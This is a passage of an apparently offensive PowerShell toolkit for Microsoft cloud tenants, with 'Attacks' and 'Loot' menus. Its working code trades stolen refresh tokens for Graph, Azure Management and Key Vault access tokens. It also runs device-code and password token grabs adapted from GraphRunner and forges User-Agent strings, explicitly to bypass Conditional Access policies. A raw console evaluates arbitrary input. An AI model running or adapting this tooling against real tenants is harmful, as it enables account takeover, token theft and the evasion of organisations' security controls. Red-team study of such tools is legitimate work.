Invoke-RefreshToAzureCoreManagementToken -domain myclient.org -refreshToken ey.... 3187 | $AzureCoreManagementToken.access_token 3188 | #> 3189 | [cmdletbinding()] 3190 | Param( 3191 | [Parameter(Mandatory = $true)] 3192 | [string]$RefreshToken = $response.refresh_token, 3193 | [Parameter(Mandatory = $false)] 3194 | $ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c", 3195 | [Parameter(Mandatory = $False)] 3196 | [Switch]$UseCAE 3197 | ) 3198 | 3199 | $Parameters = @{ 3200 | Domain = $Global:tenantid 3201 | refreshToken = $refreshToken 3202 | ClientID = $ClientID 3203 | Device = $Device 3204 | Browser = $Browser 3205 | UseCAE = $UseCAE 3206 | Scope = "https://management.core.windows.net/.default offline_access openid" 3207 | } 3208 | 3209 | # Device and Browser options 3210 | $deviceOptions = @('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation') 3211 | $browserOptions = @('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari') 3212 | 3213 | # Prompt user for custom headers 3214 | Write-Host "Would you like to specify a custom Device and Browser header? (Y/N)" -ForegroundColor Yellow 3215 | $customHeaders = Read-Host 3216 | 3217 | if ($customHeaders -eq "Y") { 3218 | # Display device options 3219 | Write-Host "Select Device:" -ForegroundColor Yellow 3220 | for ($i = 0; $i -lt $deviceOptions.Count; $i++) { 3221 | Write-Host "$($i + 1). $($deviceOptions[$i])" 3222 | } 3223 | $selectedDeviceIndex = Read-Host "Enter the number corresponding to the Device" 3224 | $Parameters.Device = $deviceOptions[$selectedDeviceIndex - 1] 3225 | 3226 | # Display browser options 3227 | Write-Host "Select Browser:" -ForegroundColor Yellow 3228 | for ($i = 0; $i -lt $browserOptions.Count; $i++) { 3229 | Write-Host "$($i + 1). $($browserOptions[$i])" 3230 | } 3231 | $selectedBrowserIndex = Read-Host "Enter the number corresponding to the Browser" 3232 | $Parameters.Browser = $browserOptions[$selectedBrowserIndex - 1] 3233 | } 3234 | 3235 | $global:AzureCoreManagementToken = Invoke-RefreshToToken @Parameters 3236 | 3237 | Write-Host ("Token acquired") -ForegroundColor Green 3238 | Write-Host ("Type: $($AzureCoreManagementToken.token_type)") -ForegroundColor Green 3239 | Write-Host ("Scope: $($AzureCoreManagementToken.scope)") -ForegroundColor Green 3240 | Write-Host ("Expires in: $($AzureCoreManagementToken.expires_in)") -ForegroundColor Green 3241 | Write-Host ("FOCI: $($AzureCoreManagementToken.foci)") -ForegroundColor Green 3242 | Write-Host ("Access Token: $($AzureCoreManagementToken.access_token)") -ForegroundColor DarkMagenta 3243 | Pause 3244 | } 3245 | 3246 | function Invoke-RefreshToMSGraphToken { 3247 | <# 3248 | .DESCRIPTION 3249 | Generate a Microsoft Graph token from a refresh token. 3250 | .EXAMPLE 3251 | Invoke-RefreshToMSGraphToken -domain myclient.org -refreshToken ey.... 3252 | $MSGraphToken.access_token 3253 | #> 3254 | [cmdletbinding()] 3255 | Param( 3256 | [Parameter(Mandatory = $true)] 3257 | [string]$RefreshToken = $response.refresh_token, 3258 | [Parameter(Mandatory = $false)] 3259 | [string]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c", 3260 | [Parameter(Mandatory = $False)] 3261 | [Switch]$UseCAE 3262 | ) 3263 | 3264 | $Parameters = @{ 3265 | Domain = $Global:tenantID 3266 | refreshToken = $refreshToken 3267 | ClientID = $ClientID 3268 | Device = $Device 3269 | Browser = $Browser 3270 | UseCAE = $UseCAE 3271 | Scope = "https://graph.microsoft.com/.default offline_access openid" 3272 | } 3273 | 3274 | # Device and Browser options 3275 | $deviceOptions = @('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation') 3276 | $browserOptions = @('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari') 3277 | 3278 | # Prompt user for custom headers 3279 | Write-Host "Would you like to specify a custom Device and Browser header? (Y/N)" -ForegroundColor Yellow 3280 | $customHeaders = Read-Host 3281 | 3282 | if ($customHeaders -eq "Y") { 3283 | # Display device options 3284 | Write-Host "Select Device:" -ForegroundColor Yellow 3285 | for ($i = 0; $i -lt $deviceOptions.Count; $i++) { 3286 | Write-Host "$($i + 1). $($deviceOptions[$i])" 3287 | } 3288 | $selectedDeviceIndex = Read-Host "Enter the number corresponding to the Device" 3289 | $Parameters.Device = $deviceOptions[$selectedDeviceIndex - 1] 3290 | 3291 | # Display browser options 3292 | Write-Host "Select Browser:" -ForegroundColor Yellow 3293 | for ($i = 0; $i -lt $browserOptions.Count; $i++) { 3294 | Write-Host "$($i + 1). $($browserOptions[$i])" 3295 | } 3296 | $selectedBrowserIndex = Read-Host "Enter the number corresponding to the Browser" 3297 | $Parameters.Browser = $browserOptions[$selectedBrowserIndex - 1] 3298 | } 3299 | 3300 | $global:GraphToken = Invoke-RefreshToToken @Parameters 3301 | Write-Output "$([char]0x2713) Token acquired and saved as `$GraphToken" 3302 | $GraphToken | Select-Object token_type, scope, expires_in, ext_expires_in | Format-List 3303 | Write-Host ("Token acquired") -ForegroundColor Green 3304 | Write-Host ("Type: $($GraphToken.token_type)") -ForegroundColor Green 3305 | Write-Host ("Scope: $($GraphToken.scope)") -ForegroundColor Green 3306 | Write-Host ("Expires in: $($GraphToken.expires_in)") -ForegroundColor Green 3307 | Write-Host ("FOCI: $($GraphToken.foci)") -ForegroundColor Green 3308 | Write-Host ("Access Token: $($GraphToken.access_token)") -ForegroundColor DarkMagenta 3309 | Pause 3310 | } 3311 | 3312 | function Invoke-RefreshToAzureKeyVaultToken { 3313 | <# 3314 | .DESCRIPTION 3315 | Generate a Microsoft Azure Key Vault token from a refresh token. 3316 | .EXAMPLE 3317 | Invoke-RefreshToAzureKeyVaultToken -domain myclient.org -refreshToken ey.... 3318 | $AzureKeyVaultToken.access_token 3319 | #> 3320 | [cmdletbinding()] 3321 | Param( 3322 | [Parameter(Mandatory = $true)] 3323 | [string]$RefreshToken = $response.refresh_token, 3324 | [Parameter(Mandatory = $false)] 3325 | $ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c", 3326 | [Parameter(Mandatory = $False)] 3327 | [Switch]$UseCAE 3328 | ) 3329 | 3330 | $Parameters = @{ 3331 | Domain = $Global:tenantid 3332 | refreshToken = $refreshToken 3333 | ClientID = $ClientID 3334 | Device = $Device 3335 | Browser = $Browser 3336 | UseCAE = $UseCAE 3337 | Scope = "https://vault.azure.net/.default offline_access openid" 3338 | } 3339 | 3340 | # Device and Browser options 3341 | $deviceOptions = @('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation') 3342 | $browserOptions = @('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari') 3343 | 3344 | # Prompt user for custom headers 3345 | Write-Host "Would you like to specify a custom Device and Browser header? (Y/N)" -ForegroundColor Yellow 3346 | $customHeaders = Read-Host 3347 | 3348 | if ($customHeaders -eq "Y") { 3349 | # Display device options 3350 | Write-Host "Select Device:" -ForegroundColor Yellow 3351 | for ($i = 0; $i -lt $deviceOptions.Count; $i++) { 3352 | Write-Host "$($i + 1). $($deviceOptions[$i])" 3353 | } 3354 | $selectedDeviceIndex = Read-Host "Enter the number corresponding to the Device" 3355 | $Parameters.Device = $deviceOptions[$selectedDeviceIndex - 1] 3356 | 3357 | # Display browser options 3358 | Write-Host "Select Browser:" -ForegroundColor Yellow 3359 | for ($i = 0; $i -lt $browserOptions.Count; $i++) { 3360 | Write-Host "$($i + 1). $($browserOptions[$i])" 3361 | } 3362 | $selectedBrowserIndex = Read-Host "Enter the number corresponding to the Browser" 3363 | $Parameters.Browser = $browserOptions[$selectedBrowserIndex - 1] 3364 | } 3365 | 3366 | $global:AzureKeyVaultToken = Invoke-RefreshToToken @Parameters 3367 | 3368 | Write-Host ("Token acquired") -ForegroundColor Green 3369 | Write-Host ("Type: $($AzureKeyVaultToken.token_type)") -ForegroundColor Green 3370 | Write-Host ("Scope: $($AzureKeyVaultToken.scope)") -ForegroundColor Green 3371 | Write-Host ("Expires in: $($AzureKeyVaultToken.expires_in)") -ForegroundColor Green 3372 | Write-Host ("FOCI: $($AzureKeyVaultToken.foci)") -ForegroundColor Green 3373 | Write-Host ("Access Token: $($AzureKeyVaultToken.access_token)") -ForegroundColor DarkMagenta 3374 | Pause 3375 | } 3376 | 3377 | # Main menu structure 3378 | function ToolMenu { 3379 | ShowBanner 3380 | preflightcheck 3381 | while ($true) { 3382 | Clear-Host 3383 | DisplayHeader 3384 | Write-Host "Main Menu" -ForegroundColor Cyan 3385 | Write-Host "1. Authentication" 3386 | Write-Host "2. Queries" 3387 | Write-Host "3. Attacks" 3388 | Write-Host "4. Loot" 3389 | Write-Host "5. Tokens" 3390 | Write-Host "6. Raw Console" 3391 | Write-Host "C. Check Tools and Updates" 3392 | Write-Host "Q. Quit" 3393 | 3394 | $userInput = Read-Host -Prompt "Select an option" 3395 | switch ($userInput.ToUpper()) { 3396 | "1" { 3397 | LoginMenu 3398 | } 3399 | "2" { 3400 | QueriesMenu 3401 | } 3402 | "3" { 3403 | AttacksMenu 3404 | } 3405 | "4" { 3406 | LootMenu 3407 | } 3408 | "5" { 3409 | TokensMenu 3410 | } 3411 | "6" { 3412 | RawCommandPrompt 3413 | } 3414 | "C" { 3415 | Clear-Host 3416 | Write-Host "Checking installations and updates..." 3417 | Check-AzureCLI 3418 | Check-UpdateModule "Az" 3419 | Check-UpdateModule "Microsoft.Graph" 3420 | Write-Host "`nPress any key to return to the menu..." 3421 | [void][System.Console]::ReadKey($true) 3422 | } 3423 | "Q" { 3424 | return 3425 | } 3426 | default { 3427 | Write-Host "Invalid selection, please try again." 3428 | Write-Host "`nPress any key to continue..." 3429 | [void][System.Console]::ReadKey($true) 3430 | } 3431 | } 3432 | } 3433 | } 3434 | 3435 | # Function to handle raw PowerShell command execution 3436 | function RawCommandPrompt { 3437 | Clear-Host 3438 | DisplayHeader 3439 | Write-Host "Raw Command Prompt" -ForegroundColor Cyan 3440 | Write-Host "Enter 'exit' to return to the queries menu." -ForegroundColor Yellow 3441 | 3442 | while ($true) { 3443 | try { 3444 | $command = Read-Host -Prompt "PS" 3445 | if ($command -eq "exit") { 3446 | break 3447 | } 3448 | Clear-Host 3449 | DisplayHeader 3450 | Write-Host "Raw Command Prompt" -ForegroundColor Cyan 3451 | Write-Host "PS: $command" -ForegroundColor Yellow 3452 | $output = Invoke-Expression $command 2>&1 | Out-String 3453 | Write-Host $output 3454 | } 3455 | catch { 3456 | Write-Host "Error executing command: $_" -ForegroundColor Red 3457 | } 3458 | } 3459 | } 3460 | 3461 | # Function to display the ASCII art banner 3462 | function ShowBanner { 3463 | Clear-Host 3464 | Write-Host " 3465 | 3466 | .*# #@- .@@@@%+. 3467 | ..%@# -@@@.@%. .@@: +@@.-@@#. 3468 | .:*@@+..#@%%@+@@@- :@@##%#-.@@@:+@@.. 3469 | %@@:*@= +@@% =@@. :@@. =@@%@@: +@% 3470 | .-#@+.@@@:.=*. :-. +@@%=. *@*.=%-. 3471 | .+@##@@..@@@@=. ...+*..@@@@@@@. 3472 | :@@@*@*. .:. +: .*@ .%@#.@@-:%@- 3473 | :@@@+. #@%. =@@. -@@@@#. 3474 | =@@: +@@@. =@@@: .-=. 3475 | .. +@@@@@@@@@@@@@*. .. 3476 | . +@@@%@@@@-..:@@. -@%. 3477 | *@@- :@# ..-@@....@@. .+@@- 3478 | .-@@@: .@# . #@@@%%@@@. .@@@.. 3479 | .%@@@. :@@@@@@@@@@@@@@. -@@@%. 3480 | .*:@@@@- .%@@@@@@@@@@@@@@@@- :@@@@@%. 3481 | .=@@@@@= .+@@@@@@@@@@@@@@@@@@@@.#@@@@@: 3482 | .@@@@@@. .*@@@@@@@@@@@@@@@@@@@@@@..@@@@@@: 3483 | #@@@@@@#++@@@@@@@@@@@@@@@@@@@@@@@@: *@@@@@=. 3484 | .=.:@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= 3485 | .=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+. 3486 | #@@@@@@@@@@@@@@@@@@@@@@@@@@@@-. 3487 | -@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3488 | .=@@@@@@%:.. #@@@@@@@@@@@@@@@@@@@@@@@@@@@: 3489 | +@@@@@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3490 | ....:*@@@@@@@..@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3491 | ..#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3492 | .%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3493 | .-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3494 | :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3495 | -@@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3496 | *@@@@@@@@@@@@@@@@@@@@@@@@@@@. 3497 | .-@@@@@@@@@@@@@@@@@@@@@@@@@. 3498 | 3499 | .%#..%%. .%#. =%%*: .%*. =%%%= *%: .%-.#- *%. .+%%-.*. 3500 | :@@#+@@:.#@@- #@:=@*.@@@- #@.. .@@@..@%@%. -@@# =@*:..%: 3501 | .@-@@=@::@%@@.#@--@#.@#@%.#@%*.@@@@=.@@@@. %@@@:..*@@-#. 3502 | .@.%+:@-*#.:@:#@@@*.@+.+@=*% .@:.%%.@*.@@.@:.@#:@@@%.%. 3503 | 3504 | " -ForegroundColor Cyan 3505 | } 3506 | 3507 | # Check PowerShell version 3508 | function preflightcheck {if ($PSVersionTable.PSVersion.Major -lt 7) { 3509 | Write-Host "You are running PowerShell version $($PSVersionTable.PSVersion). It is recommended to use PowerShell 7 or higher for optimal performance and compatibility with APEX." -ForegroundColor Red 3510 | } else { 3511 | Write-Host "PowerShell version $($PSVersionTable.PSVersion) detected. You are running a compatible version of PowerShell for APEX." -ForegroundColor Green 3512 | } 3513 | 3514 | # Check if Azure CLI is installed 3515 | try { 3516 | az --version > $null 3517 | Write-Host "Azure CLI is installed." -ForegroundColor Green 3518 | } 3519 | catch { 3520 | Write-Host "Azure CLI is not installed." -ForegroundColor Red 3521 | } 3522 | 3523 | # Check if Az PowerShell Module is available 3524 | if (Get-Module -ListAvailable -Name Az) { 3525 | Write-Host "Az PowerShell Module is installed." -ForegroundColor Green 3526 | } else { 3527 | Write-Host "Az PowerShell Module is not installed." -ForegroundColor Red 3528 | } 3529 | 3530 | # Check if Microsoft Graph PowerShell Module is available 3531 | if (Get-Module -ListAvailable -Name Microsoft.Graph) { 3532 | Write-Host "Microsoft Graph PowerShell Module is installed." -ForegroundColor Green 3533 | } else { 3534 | Write-Host "Microsoft Graph PowerShell Module is not installed." -ForegroundColor Red 3535 | } 3536 | 3537 | Write-Host "`nPress any key to continue..." 3538 | [void][System.Console]::ReadKey($true) 3539 | } 3540 | 3541 | <# 3542 | Stolen and altered GraphRunner stuff 3543 | MIT License 3544 | 3545 | Copyright (c) 2023 Beau Bullock 3546 | 3547 | Permission is hereby granted, free of charge, to any person obtaining a copy 3548 | of this software and associated documentation files (the "Software"), to deal 3549 | in the Software without restriction, including without limitation the rights 3550 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 3551 | copies of the Software, and to permit persons to whom the Software is 3552 | furnished to do so, subject to the following conditions: 3553 | 3554 | The above copyright notice and this permission notice shall be included in all 3555 | copies or substantial portions of the Software. 3556 | 3557 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 3558 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 3559 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 3560 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 3561 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 3562 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 3563 | SOFTWARE. 3564 | https://github.com/dafthack/GraphRunner 3565 | #> 3566 | function Get-GraphTokens { 3567 | [CmdletBinding()] 3568 | param( 3569 | [Parameter(Position = 0, Mandatory = $False)] 3570 | [switch]$ExternalCall, 3571 | [Parameter(Position = 1, Mandatory = $False)] 3572 | [switch]$UserPasswordAuth, 3573 | [Parameter(Position = 2, Mandatory = $False)] 3574 | [ValidateSet("Yammer","Outlook","MSTeams","Graph","AzureCoreManagement","AzureManagement","MSGraph","DODMSGraph","Custom","Substrate")] 3575 | [String[]]$Client, 3576 | [Parameter(Position = 3, Mandatory = $False)] 3577 | [String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c", 3578 | [Parameter(Position = 4, Mandatory = $False)] 3579 | [String]$Resource = "https://graph.microsoft.com", 3580 | [Parameter(Position = 5, Mandatory = $False)] 3581 | [ValidateSet('Mac','Windows','AndroidMobile','iPhone', 'OS/2', 'PlayStation')] 3582 | [String]$Device, 3583 | [Parameter(Position = 6, Mandatory = $False)] 3584 | [ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')] 3585 | [String]$Browser 3586 | ) 3587 | 3588 | # If no client provided, prompt interactively 3589 | if (-not $Client) { 3590 | Write-Host "Available Clients:" 3591 | $options = "Yammer","Outlook","MSTeams","Graph","AzureCoreManagement","AzureManagement","MSGraph","DODMSGraph","Custom","Substrate","All" 3592 | for ($i = 0; $i -lt $options.Count; $i++) { 3593 | Write-Host "[$($i+1)] $($options[$i])" 3594 | } 3595 | $selection = Read-Host "Enter number(s) separated by comma (e.g. 1,3,5) or 'All'" 3596 | 3597 | if ($selection -match '^(?i)all$') { 3598 | $Client = $options[0..($options.Count-2)] # exclude "All" 3599 | } 3600 | else { 3601 | $indices = $selection -split ',' | ForEach-Object { 3602 | $s = ($_ -as [int]) 3603 | if ($s -and $s -ge 1 -and $s -le $options.Count) { $s - 1 } 3604 | } | Where-Object { $_ -ne $null } 3605 | if (-not $indices) { 3606 | Throw "No valid client selection made." 3607 | } 3608 | $Client = $options[$indices] 3609 | } 3610 | } 3611 | 3612 | # Build User-Agent string (calls your existing helper) 3613 | if ($Device) { 3614 | if ($Browser) { 3615 | $UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser 3616 | } else { 3617 | $UserAgent = Invoke-ForgeUserAgent -Device $Device 3618 | } 3619 | } else { 3620 | if ($Browser) { 3621 | $UserAgent = Invoke-ForgeUserAgent -Browser $Browser 3622 | } else { 3623 | $UserAgent = Invoke-ForgeUserAgent 3624 | } 3625 | } 3626 | 3627 | # Prepare global token structure (store access tokens per client + single refresh token) 3628 | $global:tokens = [ordered]@{ 3629 | AccessTokens = @{} 3630 | RefreshToken = $null 3631 | } 3632 | 3633 | foreach ($c in $Client) { 3634 | Write-Host -ForegroundColor Cyan "`n[*] Authenticating for client: $c" 3635 | 3636 | # Map client to resource (you can adjust resource strings if needed) 3637 | switch ($c) { 3638 | "Yammer" { $resourceForClient = "https://api.yammer.com" } 3639 | "Outlook" { $resourceForClient = "https://outlook.office.com" } 3640 | "MSTeams" { $resourceForClient = "https://api.spaces.skype.com" } 3641 | "Graph" { $resourceForClient = "https://graph.windows.net" } 3642 | "AzureCoreManagement" { $resourceForClient = "https://management.core.windows.net/" } 3643 | "AzureManagement" { $resourceForClient = "https://management.azure.com/" } 3644 | "MSGraph" { $resourceForClient = "https://graph.microsoft.com" } 3645 | "DODMSGraph" { $resourceForClient = "https://dod-graph.microsoft.us" } 3646 | "Custom" { $resourceForClient = (Read-Host "Enter custom resource URL") } 3647 | "Substrate" { $resourceForClient = "https://substrate.office.com" } 3648 | default { $resourceForClient = $Resource } 3649 | } 3650 | 3651 | $tokens = $null 3652 | 3653 | # -------- Authentication -------- 3654 | if ($UserPasswordAuth) { 3655 | Write-Host -ForegroundColor Yellow "[*] Initiating the User/Password authentication flow for $c" 3656 | $url = "https://login.microsoft.com/common/oauth2/token" 3657 | $headers = @{ 3658 | "Accept" = "application/json" 3659 | "Content-Type" = "application/x-www-form-urlencoded" 3660 | "User-Agent" = $UserAgent 3661 | } 3662 | $body = "grant_type=password&password=$password&client_id=$ClientID&username=$username&resource=$resourceForClient&client_info=1&scope=openid" 3663 | 3664 | try { 3665 | $tokens = Invoke-RestMethod -Uri $url -Method Post -Headers $headers -Body $body 3666 | } 3667 | catch { 3668 | # Best-effort parse error details; if not present, output the full error 3669 | try { 3670 | $details = $_.ErrorDetails.Message | ConvertFrom-Json 3671 | Write-Output $details.error 3672 | } catch { 3673 | Write-Host "Error acquiring tokens for ${c}: $($_.Exception.Message)" -ForegroundColor Red 3674 | 3675 | } 3676 | # continue to next client 3677 | continue 3678 | } 3679 | } 3680 | else { 3681 | # Device Code Flow 3682 | $body = @{ 3683 | "client_id" = $ClientID 3684 | "resource" = $resourceForClient 3685 | } 3686 | $Headers = @{ "User-Agent" = $UserAgent } 3687 | try { 3688 | $authResponse = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Headers $Headers -Body $body 3689 | } catch { 3690 | Write-Host "Error requesting device code for ${c}: $($_.Exception.Message)" -ForegroundColor Red 3691 | continue 3692 | } 3693 | 3694 | Write-Host -ForegroundColor Yellow $authResponse.Message 3695 | 3696 | $continue = $true 3697 | while ($continue) { 3698 | $body = @{ 3699 | "client_id" = $ClientID 3700 | "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" 3701 | "code" = $authResponse.device_code 3702 | "scope" = "openid" 3703 | } 3704 | try { 3705 | $tokens = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body 3706 | $continue = $false 3707 | } 3708 | catch { 3709 | # If authorization_pending, wait and continue; otherwise break and report 3710 | try { 3711 | $details = $_.ErrorDetails.Message | ConvertFrom-Json 3712 | if ($details.error -eq "authorization_pending") { 3713 | Start-Sleep -Seconds 3 3714 | $continue = $true 3715 | } else { 3716 | Write-Host "Device flow failed for ${c}: $($details.error)" -ForegroundColor Red 3717 | $continue = $false 3718 | } 3719 | } catch { 3720 | Write-Host "Device flow error for ${c}: $($_.Exception.Message)" -ForegroundColor Red 3721 | $continue = $false 3722 | } 3723 | } 3724 | } 3725 | } 3726 | 3727 | # -------- Output & store tokens -------- 3728 | if ($tokens -and $tokens.access_token) { 3729 | # decode expiry for human-friendly display 3730 | try { 3731 | $tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/') 3732 | while ($tokenPayload.Length % 4) { $tokenPayload += "=" } 3733 | $tokobj = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($tokenPayload)) | ConvertFrom-Json 3734 | $baseDate = Get-Date -Date "01-01-1970" 3735 | $tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime() 3736 | } catch { 3737 | $tokenExpire = "Unknown" 3738 | } 3739 | 3740 | Write-Host -ForegroundColor DarkGreen "Successful authentication with UserAgent $UserAgent" 3741 | Write-Host -ForegroundColor DarkMagenta "[$c] Graph Access Token: $($tokens.access_token)" 3742 | Write-Host -ForegroundColor Yellow "[!] Access token for $c expires on: $tokenExpire" 3743 | 3744 | # Save the full access token per client 3745 | $global:tokens.AccessTokens[$c] = $tokens.access_token 3746 | 3747 | # Save refresh token internally, but DO NOT print it here 3748 | if (-not $global:tokens.RefreshToken -and $tokens.refresh_token) { 3749 | $global:tokens.RefreshToken = $tokens.refresh_token 3750 | } 3751 | } 3752 | } 3753 | 3754 | # --- If we captured no access tokens, clear global to signal failure --- 3755 | if (-not $global:tokens.AccessTokens.Keys.Count) { 3756 | $global:tokens = $null 3757 | } else { 3758 | # --- Compatibility aliases for old callers (do NOT print anything) --- 3759 | if ($global:tokens -and $global:tokens.AccessTokens) { 3760 | if ($global:tokens.AccessTokens.ContainsKey('MSGraph')) { 3761 | $global:tokens.access_token = $global:tokens.AccessTokens['MSGraph'] 3762 | } else { 3763 | $firstAccess = $global:tokens.AccessTokens.GetEnumerator() | Where-Object { $_.Value } | Select-Object -First 1 3764 | if ($firstAccess) { $global:tokens.access_token = $firstAccess.Value } 3765 | } 3766 | } 3767 | 3768 | # Print refresh token only once at the very end 3769 | if ($global:tokens -and $global:tokens.RefreshToken) { 3770 | $global:tokens.refresh_token = $global:tokens.RefreshToken 3771 | Write-Host "`nSuccessfully retrieved Refresh Token with -Device=$device and -Browser=$browser combination" -ForegroundColor DarkGreen 3772 | Write-Host "Use TokenTacticsV2 (Invoke-RefreshTo...) to exchange it for an Access Token to a FOCI app or directly to collect AzureHound data" -ForegroundColor DarkGreen 3773 | Write-Host -ForegroundColor DarkMagenta "[+] Refresh Token: $($global:tokens.RefreshToken)" 3774 | } 3775 | 3776 | } 3777 | 3778 | if ($ExternalCall) { 3779 | return $global:tokens 3780 | } 3781 | } 3782 | 3783 | 3784 | function Invoke-ForgeUserAgent 3785 | { 3786 | <# 3787 | .DESCRIPTION 3788 | Forge the User-Agent when sending requests to the Microsoft API's. Useful for bypassing device specific Conditional Access Policies. Defaults to Windows Edge. 3789 | #> 3790 | [cmdletbinding()] 3791 | Param( 3792 | [Parameter(Mandatory = $False)] 3793 | [ValidateSet('Mac', 'Windows', 'Linux', 'AndroidMobile', 'iPhone', 'OS/2', 'PlayStation')] 3794 | [String]$Device = "Windows", 3795 | [Parameter(Mandatory = $False)] 3796 | [ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')] 3797 | [String]$Browser = "Edge" 3798 | ) 3799 | Process { 3800 | if ($Device -eq 'Mac') { 3801 | if ($Browser -eq 'Chrome') { 3802 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' 3803 | } elseif ($Browser -eq 'Firefox') { 3804 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' 3805 | } elseif ($Browser -eq 'Edge') { 3806 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' 3807 | } elseif ($Browser -eq 'Safari') { 3808 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' 3809 | } else { 3810 | Write-Warning "Device platform not found, defaulting to macos/Safari" 3811 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' 3812 | } 3813 | } elseif ($Device -eq 'Windows') { 3814 | if ($Browser -eq 'IE') { 3815 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' 3816 | } elseif ($Browser -eq 'Chrome') { 3817 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' 3818 | } elseif ($Browser -eq 'Firefox') { 3819 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' 3820 | } elseif ($Browser -eq 'Edge') { 3821 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' 3822 | } else { 3823 | Write-Warning "Device platform not found, defaulting to Windows/Edge" 3824 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' 3825 | } 3826 | } elseif ($Device -eq 'AndroidMobile') { 3827 | if ($Browser -eq 'Android') { 3828 | $UserAgent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' 3829 | } elseif ($Browser -eq 'Chrome') { 3830 | $UserAgent = 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36' 3831 | } elseif ($Browser -eq 'Firefox') { 3832 | $UserAgent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' 3833 | } elseif ($Browser -eq 'Edge') { 3834 | $UserAgent = 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Mobile Safari/537.36 EdgA/103.0.1264.71' 3835 | } else { 3836 | Write-Warning "Device platform not found, defaulting to Android/Chrome" 3837 | $UserAgent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' 3838 | } 3839 | } elseif ($Device -eq 'iPhone') { 3840 | if ($Browser -eq 'Chrome') { 3841 | $UserAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' 3842 | } elseif ($Browser -eq 'Firefox') { 3843 | $UserAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like 